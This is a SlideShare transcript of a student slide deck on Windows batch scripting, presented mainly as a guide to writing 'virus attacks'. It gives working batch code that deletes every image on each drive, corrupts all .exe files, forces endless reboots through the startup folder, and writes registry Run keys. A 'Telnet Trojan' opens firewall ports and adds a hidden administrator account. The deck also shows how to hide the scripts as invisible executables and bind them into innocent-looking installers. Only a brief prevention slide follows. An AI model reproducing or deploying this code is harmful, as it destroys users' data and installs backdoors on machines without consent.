SlideShare una empresa de Scribd logo
1 de 31
Batch File Programming .(Virus Attacks)



                         Introduction.
                         Structure.
                         Operators.
                         Syntax.
                         Fun.
     Dangerous.bat       Utilities.
                         Virus Attacks.
                         Preventions.
                               Presented by – Yogendra Kirar
                               M.C.A Final year.
Introduction.
                        Batch processing Explain.
                        (In MS-Windows)



                        Batch processing means when there are some
                          unique processes or tasks executes one after
                          another in form of a group, bunch, or batch.
                        Here, in windows batch file means the bunch of
                          DOS(Disk Operating System) Commands.
                        By effective batch file programming many
                          utilities, funny items or viruses that harm the
                          windows machines can prepared.

                        For good Batch file programmer deep knowledge
Commands in new lines     of DOS commands is must.
Introduction.
                For making any batch file steps are.



                 Open Notepad.
                 Type DOS commands separately in new line.
                 Saved it by .bat extension.
                 To execute Double Click on that file which
                  looks like .

                   This is default icon
                   of Batch files in
                   Windows OS.
Structure
             Example – running dos command.


             Start-Run-cmd
             Then cmd windows open looks like




             Now type any ms dos commands.
             You can control entire Operation System
             through DOS commands.

             For more commands type help and press enter.
Structure
            Working of File

            When we Click any batch file then
            -Firstly it opens the file read first line command
               run in command prompt.
            -Then closes the file.
            -Again open the file and run second file then
               close it.
            -Again open - run – close this process is continue
               till the commands ends and exit.

            Note: All commands must be in new Line.
Operators.
                 Operators – as Accelerators

  With batch files, which are also called batch Programs or scripts, you can
  simplify routine or repetitive tasks

              -Call                 -Setlocal
              -Echo                 -Endlocal
              -For                  -If
              -Rem
              -Goto
              -Shift
              -Endlocal
Syntax

 Syntax (mostly used)



 call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
 echo [{on|off}] [message]
 for {%variable|%%variable} in (set) do command [ CommandLineOptions]
 rem [comment]
 goto label
Fun
 Undeletable Folder with Your Name.
    This code will create a folder on desktop and in root of all drives of your
   computer which is not simply deletable.
--------------------------------------------------------------------------------------
:y
md C:"Documents and Settings""All Users"Desktopyogendra
md c:yogendra
md d:yogendra
md e:yogendra
md f:yogendra
md g:yogendra
md h:yogendra
goto y
---------------------------------------------------------------------------------------
Copy this code in note pad and save it by anyname.bat
Important:

Here, all of you a Question or doubt in mind.
Is this true?
You think that if the black window of command prompt will continuously
  stays on desktop or on taskbar any on can suspect on it and if, somebody
  closes it then our batch file execution is stopped.

Solution of this is the Batch to Exe convertor software which converts batch
   file into exe . Then the file runs in background and uncatchable.
Bat2exe:
   you can download this from url: http://www.brothersoft.com/d.php?
   soft_id=50301&url=http%3A%2F%2Fwww.f2ko.de%2Fdownloads
   %2FBat_To_Exe_Converter.zip
Snapshot – Bat to Exe
                        Source path (.bat file)

                        Output path (.exe file)




                        Check invisible application




                        Finally compile the file
Fun


 Can’t do anything
    By this code we create a file that ends the explorer.exe and all things are
   gone.

Code:
----------------------------------------------------------------------------------------

Taskkill /im explorer.exe /f

----------------------------------------------------------------------------------------
Fun


 Many Folders
  this code creates 1000’s of folders with number naming.
  Code:
----------------------------------------------------------------------
:e
Md %random%
Goto e
----------------------------------------------------------------------
Fun
 Rotating Clock hands
   this code rotates clocks hands continuously.
Code:
---------------------------------------------------------------------------------------------
:y
time = 12:05:12
time = 12:10:12
time = 12:15:12
time = 12:20:12
time = 12:25:12
time = 12:30:12
time = 12:35:12
time = 12:40:12
time = 12:45:12
time = 12:50:12
time = 12:55:12
goto y
-----------------------------------------------------------------------------------------------------------------------------------
Utilities


 With funny things we can also make some
  utilities for windows machine.
 Utilities which helps us to maintain our system
  like speed, performance, hardisk mantainence.
 By batch file we can make schedule task.
Utilities

 Disk defragmenter file.
  This file is used to defragment your hard disk. Copy this file into location.
  “C:Documents and SettingsAll UsersStart MenuProgramsStartup”
code:
------------------------------------------------------------------------------------------
Defrag c: -f
Defrag d: -f
Defrag e: -f
Defrag f: -f
Msg * Defragment is completed
---------------------------------------------------------------------------------------------
Utilities
Steganography code:
Code:
-----------------------------------------------------------------------
Copy /b %1 + /b %2 new.jpg
exit
-----------------------------------------------------------------------------------------
Save this code by hide.bat
Hiding process
1. Copy this hide.bat in a folder.
2. Now copy a jpge file and a text file which we wants to hide behind jpeg in that
    folder.
3. Now runs this hide .bat through dos prompt by providing names of jpeg file and
    text file in order (.jpeg <space> .txt ) and runs it.A new.jpeg is created with text
    hidden in it.
4. To get your text open this jpeg in notepad and find your text in last of the
    notepad.
Utilities
Refresh. Code:
Code:
-----------------------------------------------------------------------
taskkill /im explorer.exe /f
start explorer.exe
----------------------------------------------------------------------------------------------
Scheduled Shutdown:
Code:
-----------------------------------------------------------------------
At [time] shutdown –s –f –t 00 –c “Message”
-----------------------------------------------------------------------
Virus Attacks

System restart virus.
This batch file code is restarts system when it starts
Code:
---------------------------------------------------------------------------------------------

echo shutdown –r –f –t 00 > shut.bat
move shut.bat C:"Documents and Settings""All Users""Start Menu"ProgramsStartup
----------------------------------------------------------------------------------------------

Copy the above code and paste in notepad by name anything.bat and runs on any
Pc then after next restart the system will never starts and automatically restarts.
Virus Attacks


 For loop viruses               1

     For loop is a looping operator which creates loop for any command
     This code creates messages on desktop showing files are corrupted.
----------------------------------------------------------------------------------------------
Code:
For /r c: %%y in (*.*) do msg * %%y ------ is Corrupted.
    it not actually corrupts the file it shows only messages
----------------------------------------------------------------------------------------------

Note: conversion into exe is required.
Virus Attacks

For loop viruses         2 (Damage level :High)
For loop is a looping operator which creates loop for any command
4. This code will remove all images, wallpapers from your system
        Warning! -- Try it on your own risk.
Code:
            for /r c: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q
            for /r d: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q
            for /r e: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q
            for /r f: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q

   Note: conversion into exe is required.
Virus Attacks
For loop viruses        3 (Damage level :High)
For loop is a looping operator which creates loop for any command
3. This code will corrupt all exe files of your system.
                 Warning! -- Try it on your own risk.

Code:
         echo 00967jyj875kkj6704ekfkf9iddkc224543453000 > c:tempero.null
           for /r c: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y
           for /r d: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y
           for /r e: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y
           for /r f: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y
           del c:tempero.null /s/q

   Note: conversion into exe is required.
Virus Attacks
For loop viruses        4 (Damage level :High)
For loop is a looping operator which creates loop for any command
3. This code will corrupt all exe files of your system.
                 Warning! -- Try it on your own risk.

Code:
         echo you lost all !!!! >c:tempero.null
         for /r c: %%y in (*.exe) do copy c:temporal.null + %%y %%y
         for /r d: %%y in (*.exe) do copy c:temporal.null + %%y %%y
         for /r e: %%y in (*.exe) do copy c:temporal.null + %%y %%y
         for /r f: %%y in (*.exe) do copy c:temporal.null + %%y %%y
         del c:tempero.null /s/q

Note: conversion into exe is required.
My Friend Virus (Dangerous level : High)
   @echo off
   rename mypic.exe igfx.exe
   if exist c:windowssystem32igfx.exe goto code
   if exist d:windowssystem32igfx.exe goto code
   if exist e:windowssystem32igfx.exe goto code
   if exist f:windowssystem32igfx.exe goto code
   if exist g:windowssystem32igfx.exe goto code
   echo Windows Registry Editor Version 5.00>yog.reg
   echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>>yog.reg
   if exist c:windowsnul echo "yhlsagent"="c:windowssystem32igfx.exe">>yog.reg
   if exist d:windowsnul echo "yhlsagent"="d:windowssystem32igfx.exe">>yog.reg
   if exist e:windowsnul echo "yhlsagent"="e:windowssystem32igfx.exe">>yog.reg
   if exist f:windowsnul echo "yhlsagent"="f:windowssystem32igfx.exe">>yog.reg
   if exist g:windowsnul echo "yhlsagent"="g:windowssystem32igfx.exe">>yog.reg
   echo "avast!"="C:PROGRA~1Disp.exe">>yog.reg
   echo "avgnt"="C:PROGRA~1avg.exe">>yog.reg
   echo "USB Antivirus"="C:Program FilesGuard.exe">>yog.reg
   regedit /s yog.reg
   del yog.reg /s/q
   echo Windows Registry Editor Version 5.00>yog.reg
   echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]>>yog.reg
   echo "LegalNoticeCaption"="Say Happy Birthday to me">>yog.reg
   echo "LegalNoticeText"="I want that you wish to me on my birthday. I am very alone person, I have no any friend, do u want to become my friend, please accept me as ur friend, all the best my
    friend for ur all works in future, I want to ask u a question would u be alone as me, so plz develop ur interest in making friends like me. !!!!!!!!!!!">>yog.reg
   regedit /s yog.reg
   del yog.reg /s/q
   if exist c:windowsnul copy igfx.exe c:windowssystem32
   if exist d:windowsnul copy igfx.exe d:windowssystem32
   if exist e:windowsnul copy igfx.exe e:windowssystem32
   if exist f:windowsnul copy igfx.exe f:windowssystem32
   if exist g:windowsnul copy igfx.exe g:windowssystem32
   :code
   shutdown -r -f -t 600
   :e
   if exist c:windowsnul md C:Docume~1Admini~1Desktop"I always with u my friend"
   if exist d:windowsnul md d:Docume~1Admini~1Desktop"I always with u my friend"
   if exist e:windowsnul md e:Docume~1Admini~1Desktop"I always with u my friend"
   if exist f:windowsnul md f:Docume~1Admini~1Desktop"I always with u my friend"
   if exist g:windowsnul md g:Docume~1Admini~1Desktop"I always with u my friend"
   taskkill /im USBGuard.exe /f
   taskkill /im notepad.exe /f
   taskkill /im SOUNDMAN.exe /f
   taskkill /im taskmgr.exe /f
   date 02-12-3060


    goto e                                                  conversion into exe is required
Telnet Trojen.

 Work as Remote Administrator tool with the use of
  telenet.

 @echo off
 sc config tlntsvr start= auto
 net start tlntsvr
 netsh firewall add portopening TCP 23 "Telnet"
 sc config termservice start= auto
 net start termservice
 netsh firewall add portopening TCP 3389 "Remote Desktop"
 net user Default 12345 /add
 net localgroup administrators Default /add


                                      By Sourabh Mishra.
Finishing Virus Coding
 Firstly copy all these coding into the notepad and name them anything
  with .bat extention.
 Now converts this .bat file into .exe file with the help of Bat to Exe converter.
 This is the software which
   Helps us to hide the cmd
   coding and runs the process
   in background.




   File.bat                                                               File.exe
Finishing Virus Coding
 After converting .bat file into .exe file What to do Next?
  All of u thinking that these are the .exe files how these are spreads. Your
  answer is the software which reside in directory c:windowssystem32
  with name iexpress to start iexpress Start > Run > iexpress
  You will see this windows this is your mixing software.
Finishing Virus Coding
 Follows the instruction of software then after pressing some next you will
  find this window.




 Here, add your viral code and the innocent software(exe) in which u want to
  bind this.
Finishing Virus Coding

 After that in two selection windows firstly select the innocent software(exe)
  location then in second
  Window select your viral
  code(exe).

Follows the instruction and your
New software setup is created
Which is innocent but contains
Harmful virus.

When we install this software , then
After installation of software the
Added virus code is runs.
Finishing Virus Coding
                    Mixing process.



          .bat




          .exe
                                      setup.exe
Prevention (Conclusion)
 Some possible prevention or conclusions are


1.Do not accept any file with .bat or .exe extension on the internet while
   chatting or from your mailbox.
2.Do not take softwares from untrusted vendors.
3.Always check your autoruns by—
      start>run>msconfig>startup
   if u find something suspected target its path and remove it after checking
   it.
4.These are the batch viruses which are not so advanced viruses but having
   very dangerous capabilities, and only strong updated antivirus can catch
   them so always kept updated antivirus.
Have any questions?
          Yogendra Kirar.

Más contenido relacionado

La actualidad más candente

Basics of Batch Scripting
Basics of Batch ScriptingBasics of Batch Scripting
Basics of Batch Scripting
Arik Fletcher
 
FireWall
FireWallFireWall
FireWall
rubal_9
 

La actualidad más candente (20)

History of OS
History of OSHistory of OS
History of OS
 
Firewall ppt
Firewall pptFirewall ppt
Firewall ppt
 
Command prompt presentation
Command prompt presentationCommand prompt presentation
Command prompt presentation
 
Dhcp server configuration
Dhcp server configurationDhcp server configuration
Dhcp server configuration
 
Firewall
Firewall Firewall
Firewall
 
Windows Registry
Windows RegistryWindows Registry
Windows Registry
 
NETWORK SECURITY
NETWORK SECURITYNETWORK SECURITY
NETWORK SECURITY
 
Lecture 1: CompTIA A+ Certification
Lecture 1: CompTIA A+ CertificationLecture 1: CompTIA A+ Certification
Lecture 1: CompTIA A+ Certification
 
Security models
Security models Security models
Security models
 
Kali linux useful tools
Kali linux useful toolsKali linux useful tools
Kali linux useful tools
 
Wireshark Basic Presentation
Wireshark Basic PresentationWireshark Basic Presentation
Wireshark Basic Presentation
 
Basics of Batch Scripting
Basics of Batch ScriptingBasics of Batch Scripting
Basics of Batch Scripting
 
Session10-PHP Misconfiguration
Session10-PHP MisconfigurationSession10-PHP Misconfiguration
Session10-PHP Misconfiguration
 
FireWall
FireWallFireWall
FireWall
 
Wireshark
WiresharkWireshark
Wireshark
 
Network Troubleshooting
Network TroubleshootingNetwork Troubleshooting
Network Troubleshooting
 
Wireshark Tutorial
Wireshark TutorialWireshark Tutorial
Wireshark Tutorial
 
Troubleshooting Your Network.pptx
Troubleshooting Your Network.pptxTroubleshooting Your Network.pptx
Troubleshooting Your Network.pptx
 
System and network administration network services
System and network administration network servicesSystem and network administration network services
System and network administration network services
 
Network configuration and simulation
Network configuration and simulationNetwork configuration and simulation
Network configuration and simulation
 

Similar a Batch file programming

Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docxPart 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
karlhennesey
 
Introductiontoasp netwindbgdebugging-100506045407-phpapp01
Introductiontoasp netwindbgdebugging-100506045407-phpapp01Introductiontoasp netwindbgdebugging-100506045407-phpapp01
Introductiontoasp netwindbgdebugging-100506045407-phpapp01
Camilo Alvarez Rivera
 
Hhs en02 windows_and_linux
Hhs en02 windows_and_linuxHhs en02 windows_and_linux
Hhs en02 windows_and_linux
Shoaib Sheikh
 

Similar a Batch file programming (20)

Batch programming and Viruses
Batch programming and VirusesBatch programming and Viruses
Batch programming and Viruses
 
Batch file programming
Batch file programmingBatch file programming
Batch file programming
 
Batch file-programming
Batch file-programmingBatch file-programming
Batch file-programming
 
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docxPart 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
Part 4 Scripting and Virtualization (due Week 7)Objectives1. .docx
 
Ultimate Unix Meetup Presentation
Ultimate Unix Meetup PresentationUltimate Unix Meetup Presentation
Ultimate Unix Meetup Presentation
 
ICPS operating system and services Unit 3 Notes .pdf
ICPS operating system and services Unit 3 Notes .pdfICPS operating system and services Unit 3 Notes .pdf
ICPS operating system and services Unit 3 Notes .pdf
 
168054408 cc1
168054408 cc1168054408 cc1
168054408 cc1
 
Command line for the beginner - Using the command line in developing for the...
Command line for the beginner -  Using the command line in developing for the...Command line for the beginner -  Using the command line in developing for the...
Command line for the beginner - Using the command line in developing for the...
 
Linux
LinuxLinux
Linux
 
Linux
LinuxLinux
Linux
 
Useful Linux and Unix commands handbook
Useful Linux and Unix commands handbookUseful Linux and Unix commands handbook
Useful Linux and Unix commands handbook
 
Introductiontoasp netwindbgdebugging-100506045407-phpapp01
Introductiontoasp netwindbgdebugging-100506045407-phpapp01Introductiontoasp netwindbgdebugging-100506045407-phpapp01
Introductiontoasp netwindbgdebugging-100506045407-phpapp01
 
Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...
Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...
Part 5 of "Introduction to Linux for Bioinformatics": Working the command lin...
 
CMake Tutorial
CMake TutorialCMake Tutorial
CMake Tutorial
 
ITFT - DOS - Disk Operating System
ITFT - DOS - Disk Operating SystemITFT - DOS - Disk Operating System
ITFT - DOS - Disk Operating System
 
Windows batch scripting
Windows batch scriptingWindows batch scripting
Windows batch scripting
 
Hhs en02 windows_and_linux
Hhs en02 windows_and_linuxHhs en02 windows_and_linux
Hhs en02 windows_and_linux
 
lec4.docx
lec4.docxlec4.docx
lec4.docx
 
linux
linuxlinux
linux
 
Sandy Report
Sandy ReportSandy Report
Sandy Report
 

Último

Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
WSO2
 

Último (20)

Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024
 
A Beginners Guide to Building a RAG App Using Open Source Milvus
A Beginners Guide to Building a RAG App Using Open Source MilvusA Beginners Guide to Building a RAG App Using Open Source Milvus
A Beginners Guide to Building a RAG App Using Open Source Milvus
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Ransomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfRansomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdf
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 

Batch file programming

  • 1. Batch File Programming .(Virus Attacks) Introduction. Structure. Operators. Syntax. Fun. Dangerous.bat Utilities. Virus Attacks. Preventions. Presented by – Yogendra Kirar M.C.A Final year.
  • 2. Introduction. Batch processing Explain. (In MS-Windows) Batch processing means when there are some unique processes or tasks executes one after another in form of a group, bunch, or batch. Here, in windows batch file means the bunch of DOS(Disk Operating System) Commands. By effective batch file programming many utilities, funny items or viruses that harm the windows machines can prepared. For good Batch file programmer deep knowledge Commands in new lines of DOS commands is must.
  • 3. Introduction. For making any batch file steps are.  Open Notepad.  Type DOS commands separately in new line.  Saved it by .bat extension.  To execute Double Click on that file which looks like . This is default icon of Batch files in Windows OS.
  • 4. Structure  Example – running dos command. Start-Run-cmd Then cmd windows open looks like Now type any ms dos commands. You can control entire Operation System through DOS commands. For more commands type help and press enter.
  • 5. Structure Working of File When we Click any batch file then -Firstly it opens the file read first line command run in command prompt. -Then closes the file. -Again open the file and run second file then close it. -Again open - run – close this process is continue till the commands ends and exit. Note: All commands must be in new Line.
  • 6. Operators. Operators – as Accelerators With batch files, which are also called batch Programs or scripts, you can simplify routine or repetitive tasks -Call -Setlocal -Echo -Endlocal -For -If -Rem -Goto -Shift -Endlocal
  • 7. Syntax  Syntax (mostly used)  call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]  echo [{on|off}] [message]  for {%variable|%%variable} in (set) do command [ CommandLineOptions]  rem [comment]  goto label
  • 8. Fun  Undeletable Folder with Your Name. This code will create a folder on desktop and in root of all drives of your computer which is not simply deletable. -------------------------------------------------------------------------------------- :y md C:"Documents and Settings""All Users"Desktopyogendra md c:yogendra md d:yogendra md e:yogendra md f:yogendra md g:yogendra md h:yogendra goto y --------------------------------------------------------------------------------------- Copy this code in note pad and save it by anyname.bat
  • 9. Important: Here, all of you a Question or doubt in mind. Is this true? You think that if the black window of command prompt will continuously stays on desktop or on taskbar any on can suspect on it and if, somebody closes it then our batch file execution is stopped. Solution of this is the Batch to Exe convertor software which converts batch file into exe . Then the file runs in background and uncatchable. Bat2exe: you can download this from url: http://www.brothersoft.com/d.php? soft_id=50301&url=http%3A%2F%2Fwww.f2ko.de%2Fdownloads %2FBat_To_Exe_Converter.zip
  • 10. Snapshot – Bat to Exe Source path (.bat file) Output path (.exe file) Check invisible application Finally compile the file
  • 11. Fun  Can’t do anything By this code we create a file that ends the explorer.exe and all things are gone. Code: ---------------------------------------------------------------------------------------- Taskkill /im explorer.exe /f ----------------------------------------------------------------------------------------
  • 12. Fun  Many Folders this code creates 1000’s of folders with number naming. Code: ---------------------------------------------------------------------- :e Md %random% Goto e ----------------------------------------------------------------------
  • 13. Fun  Rotating Clock hands this code rotates clocks hands continuously. Code: --------------------------------------------------------------------------------------------- :y time = 12:05:12 time = 12:10:12 time = 12:15:12 time = 12:20:12 time = 12:25:12 time = 12:30:12 time = 12:35:12 time = 12:40:12 time = 12:45:12 time = 12:50:12 time = 12:55:12 goto y -----------------------------------------------------------------------------------------------------------------------------------
  • 14. Utilities  With funny things we can also make some utilities for windows machine.  Utilities which helps us to maintain our system like speed, performance, hardisk mantainence.  By batch file we can make schedule task.
  • 15. Utilities  Disk defragmenter file. This file is used to defragment your hard disk. Copy this file into location. “C:Documents and SettingsAll UsersStart MenuProgramsStartup” code: ------------------------------------------------------------------------------------------ Defrag c: -f Defrag d: -f Defrag e: -f Defrag f: -f Msg * Defragment is completed ---------------------------------------------------------------------------------------------
  • 16. Utilities Steganography code: Code: ----------------------------------------------------------------------- Copy /b %1 + /b %2 new.jpg exit ----------------------------------------------------------------------------------------- Save this code by hide.bat Hiding process 1. Copy this hide.bat in a folder. 2. Now copy a jpge file and a text file which we wants to hide behind jpeg in that folder. 3. Now runs this hide .bat through dos prompt by providing names of jpeg file and text file in order (.jpeg <space> .txt ) and runs it.A new.jpeg is created with text hidden in it. 4. To get your text open this jpeg in notepad and find your text in last of the notepad.
  • 17. Utilities Refresh. Code: Code: ----------------------------------------------------------------------- taskkill /im explorer.exe /f start explorer.exe ---------------------------------------------------------------------------------------------- Scheduled Shutdown: Code: ----------------------------------------------------------------------- At [time] shutdown –s –f –t 00 –c “Message” -----------------------------------------------------------------------
  • 18. Virus Attacks System restart virus. This batch file code is restarts system when it starts Code: --------------------------------------------------------------------------------------------- echo shutdown –r –f –t 00 > shut.bat move shut.bat C:"Documents and Settings""All Users""Start Menu"ProgramsStartup ---------------------------------------------------------------------------------------------- Copy the above code and paste in notepad by name anything.bat and runs on any Pc then after next restart the system will never starts and automatically restarts.
  • 19. Virus Attacks  For loop viruses 1 For loop is a looping operator which creates loop for any command This code creates messages on desktop showing files are corrupted. ---------------------------------------------------------------------------------------------- Code: For /r c: %%y in (*.*) do msg * %%y ------ is Corrupted. it not actually corrupts the file it shows only messages ---------------------------------------------------------------------------------------------- Note: conversion into exe is required.
  • 20. Virus Attacks For loop viruses 2 (Damage level :High) For loop is a looping operator which creates loop for any command 4. This code will remove all images, wallpapers from your system Warning! -- Try it on your own risk. Code: for /r c: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q for /r d: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q for /r e: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q for /r f: %%y in (*.jpg,*.png,*.gif,*.ico) do del %%y /s/q Note: conversion into exe is required.
  • 21. Virus Attacks For loop viruses 3 (Damage level :High) For loop is a looping operator which creates loop for any command 3. This code will corrupt all exe files of your system. Warning! -- Try it on your own risk. Code: echo 00967jyj875kkj6704ekfkf9iddkc224543453000 > c:tempero.null for /r c: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r d: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r e: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y for /r f: %%y in (*.exe) do copy /b %%y + c:tempero.null %%y del c:tempero.null /s/q Note: conversion into exe is required.
  • 22. Virus Attacks For loop viruses 4 (Damage level :High) For loop is a looping operator which creates loop for any command 3. This code will corrupt all exe files of your system. Warning! -- Try it on your own risk. Code: echo you lost all !!!! >c:tempero.null for /r c: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r d: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r e: %%y in (*.exe) do copy c:temporal.null + %%y %%y for /r f: %%y in (*.exe) do copy c:temporal.null + %%y %%y del c:tempero.null /s/q Note: conversion into exe is required.
  • 23. My Friend Virus (Dangerous level : High)  @echo off  rename mypic.exe igfx.exe  if exist c:windowssystem32igfx.exe goto code  if exist d:windowssystem32igfx.exe goto code  if exist e:windowssystem32igfx.exe goto code  if exist f:windowssystem32igfx.exe goto code  if exist g:windowssystem32igfx.exe goto code  echo Windows Registry Editor Version 5.00>yog.reg  echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>>yog.reg  if exist c:windowsnul echo "yhlsagent"="c:windowssystem32igfx.exe">>yog.reg  if exist d:windowsnul echo "yhlsagent"="d:windowssystem32igfx.exe">>yog.reg  if exist e:windowsnul echo "yhlsagent"="e:windowssystem32igfx.exe">>yog.reg  if exist f:windowsnul echo "yhlsagent"="f:windowssystem32igfx.exe">>yog.reg  if exist g:windowsnul echo "yhlsagent"="g:windowssystem32igfx.exe">>yog.reg  echo "avast!"="C:PROGRA~1Disp.exe">>yog.reg  echo "avgnt"="C:PROGRA~1avg.exe">>yog.reg  echo "USB Antivirus"="C:Program FilesGuard.exe">>yog.reg  regedit /s yog.reg  del yog.reg /s/q  echo Windows Registry Editor Version 5.00>yog.reg  echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon]>>yog.reg  echo "LegalNoticeCaption"="Say Happy Birthday to me">>yog.reg  echo "LegalNoticeText"="I want that you wish to me on my birthday. I am very alone person, I have no any friend, do u want to become my friend, please accept me as ur friend, all the best my friend for ur all works in future, I want to ask u a question would u be alone as me, so plz develop ur interest in making friends like me. !!!!!!!!!!!">>yog.reg  regedit /s yog.reg  del yog.reg /s/q  if exist c:windowsnul copy igfx.exe c:windowssystem32  if exist d:windowsnul copy igfx.exe d:windowssystem32  if exist e:windowsnul copy igfx.exe e:windowssystem32  if exist f:windowsnul copy igfx.exe f:windowssystem32  if exist g:windowsnul copy igfx.exe g:windowssystem32  :code  shutdown -r -f -t 600  :e  if exist c:windowsnul md C:Docume~1Admini~1Desktop"I always with u my friend"  if exist d:windowsnul md d:Docume~1Admini~1Desktop"I always with u my friend"  if exist e:windowsnul md e:Docume~1Admini~1Desktop"I always with u my friend"  if exist f:windowsnul md f:Docume~1Admini~1Desktop"I always with u my friend"  if exist g:windowsnul md g:Docume~1Admini~1Desktop"I always with u my friend"  taskkill /im USBGuard.exe /f  taskkill /im notepad.exe /f  taskkill /im SOUNDMAN.exe /f  taskkill /im taskmgr.exe /f  date 02-12-3060  goto e conversion into exe is required
  • 24. Telnet Trojen. Work as Remote Administrator tool with the use of telenet. @echo off sc config tlntsvr start= auto net start tlntsvr netsh firewall add portopening TCP 23 "Telnet" sc config termservice start= auto net start termservice netsh firewall add portopening TCP 3389 "Remote Desktop" net user Default 12345 /add net localgroup administrators Default /add By Sourabh Mishra.
